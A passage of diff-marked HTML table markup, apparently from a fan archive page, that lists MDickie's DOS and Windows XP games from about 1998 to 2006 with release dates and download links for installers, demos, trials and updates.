-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Newsround</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> or <span><a target="_blank" href="https://github.com/otya128/winevdm">WineVDM</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/Newsround.EXE">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">98-99</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">4</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Generator</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> or <span><a target="_blank" href="https://github.com/otya128/winevdm">WineVDM</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/Wrestling%20Generator.EXE">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">98-99</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">5</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">WWF Jakked</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> or <span><a target="_blank" href="https://github.com/otya128/winevdm">WineVDM</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/WWF%20Jakked.EXE">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">98-99</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="/* height: 34px; */">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">6</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Hardy Boyz Stunt Challenge</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/stunt.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">08/00</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">First public game to be released.</td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">7</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">The Rock's Promo Cutter</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/rock.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">08/00</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">8</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Case 3:16</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/austin.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">09/00</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">9</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Trent's Dirty Session</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/trent.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">10/00</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">10</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Con-chair-to</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/chairto.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">10/00</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">11</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Fat Sow</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/fatsow.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">10/00</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">14</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">THAT Love Triangle</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/love.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">11/00</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">14</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Ian's Home Wrecking Challenge</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/ian.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">11/00</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">15</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling vs Boxing</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/rocky.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">12/00</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">16</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Sure Shot</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/shot.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">12/00</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">16</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Family Christmas</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/family.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">12/00</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">17</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Big Bumps</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/bumps.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">02/01</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">18</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Speedball X</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/sbx.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">03/01</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">19</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Federation Online</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/fedon.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">06/01</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">20</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Federation Online: September Edition</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/eew.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">09/01</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">21</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">EEW's Total Annihilation </td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/ian.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">09/01</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Marks the end of the DOS era, beginning into the PC era.</td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">22</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Big Bumpz</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/bumpz.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">09/01</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">23</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">CVG Strikes Back</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/cvgblitz.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">12/01</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">24</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Rocky</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/rocky3d.zip">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">01/02</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">25</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Sure Shot</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot_setup.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">03/02</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">26</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Sure Shot: Star Wars Edition</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/surewars.exe">Download</a></span>)
-                    </td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">04/02</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">27</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Federation Online</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><a target="_blank" href="https://mdickie.netlify.app/files/flash_rock.swf">Flash (SWF)</a></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Summer of '02</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">28</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Boxer's Story</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/bstory_freeware.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/bstory_update.exe">Demo</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">12/02</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">29</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Federation Wrestling</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/fedwrestling_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/fedwrestling_update.exe">Demo</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">12/02</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">30</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Big Bumpz</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/bigbumpz_setup.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">01/03</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">31</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Federation Booking</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/fedbook_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/fedbook_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/fedbook_update.exe">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">05/03</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">32</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">The MDickie Show</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/mdshow_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/mdshow_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/mdshow_demo_lite.exe">Demo Lite</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/mdshow_update.zip">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">08/03</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">33</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire (2004)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wmpire2004_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/wmpire_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wmpire_trial.exe">Trial</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wmpire_update.zip">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">01/04</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">34</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Booking MPire (2004)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/bmpire2004_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/bmpire_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/bmpire_trial.exe">Trial</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">04/04</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">35</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling With The Truth (MPire Demo)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/mj_wrestling.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2004 (?)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">36</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Popscene (2004)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/popscene_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/popscene_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/popscene_trial_v1-2.exe">Trial v1.2</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/popscene_update.exe">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">08/04</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">37</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Sure Shot 3D</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot3D__setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot_trial_v1-2.exe">Trial v1.2</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot_update.exe">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">11/04</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">38</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrecked</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wrecked_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/wrecked_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wrecked_trial_v1-2.exe">Trial v1.2</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wrecked_update.exe">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">02/05</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">39</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Popcorn</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/popcorn_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/popcorn_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/popcorn_trial_v1-2.exe">Trial v1.2</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/popcorn_update.exe">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">06/05</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">40</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Encore</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wencore_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/wencore_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wencore_trial_v1-6.exe">Trial v1.6</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wencore_update.exe">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">12/05</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">41</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Booking Encore</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/bencore_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/bencore_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/bencore_trial_v1-4.exe">Trial v1.4</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/bencore_update.exe">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">03/06</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">42</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Grass Roots</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/roots_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/roots_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/roots_update.zip">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">07/06</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">43</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">World War Alpha</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wwa.setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/war_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/war_trial.exe">Trial</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">09/06</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">44</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Ear Shot</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/earshot.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">10/06</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">45</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Popstar Manager (Fanmade German Version)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/PSManagersetup.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">11/06</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">46</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">TalkSport: Clash Of The Titans</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/talksport.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">12/06</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">47</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Hard Time</td>
